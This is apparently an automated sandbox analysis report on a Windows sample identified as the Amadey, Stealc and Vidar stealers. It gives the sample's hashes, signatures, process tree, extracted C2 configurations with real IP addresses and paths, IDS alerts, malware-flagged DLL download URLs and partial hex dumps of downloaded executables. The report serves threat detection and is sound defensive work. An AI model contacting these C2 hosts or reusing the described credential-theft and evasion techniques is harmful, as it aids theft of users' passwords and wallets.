Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560429
MD5:	81380b3f4700458353f68405ba69f471
SHA1:	2c51c11246200de63ac0121df7fc94545f0aef38
SHA256:	5b039e26817ac3dde3340af44180e943e7823936cb537342e8a818e5d8705908
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5612 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 81380B3F4700458353F68405BA69F471)

chrome.exe (PID: 4920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2152,i,10364576759027782429,328392540784859071,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7984 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6204 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2232,i,12845795122803726069,17176105221645412444,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 3716 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIJKEHJJDA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFIJKEHJJDA.exe (PID: 8036 cmdline: "C:\Users\user\DocumentsFIJKEHJJDA.exe" MD5: 873F4FF6922F79ACA237323377183153)

skotes.exe (PID: 8908 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 873F4FF6922F79ACA237323377183153)

msedge.exe (PID: 7604 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5308 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2504 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8324 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6900 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8356 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6916 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1040 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=3092 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 5292 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 873F4FF6922F79ACA237323377183153)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000019.00000003.2053541168.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2000360601.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.2055010965.0000000000D81000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1995284969.0000000000281000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.2094097161.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.1999434350.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.2053785801.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2094273758.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1470881324.0000000004F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5612	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5612	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5612	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5612	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
25.2.skotes.exe.7b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.DocumentsFIJKEHJJDA.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.7b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5612, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 4920, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T19:58:17.856079+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T19:58:17.733637+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T19:58:18.181071+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T19:58:19.628410+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T19:58:18.322027+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T19:58:17.259206+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T19:58:20.433311+0100	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-21T19:58:43.488983+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:45.612020+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:47.002698+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:48.201431+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:52.009401+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:53.135215+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-21T19:58:59.508721+0100	2803304	3	Unknown Traffic	192.168.2.8	49831	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllP	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllN	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll4	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllt	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllT	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000019.00000003.2053541168.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.5612.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA76C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CA76C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.6:443 -> 192.168.2.8:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49929 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 18:58:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 18:58:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 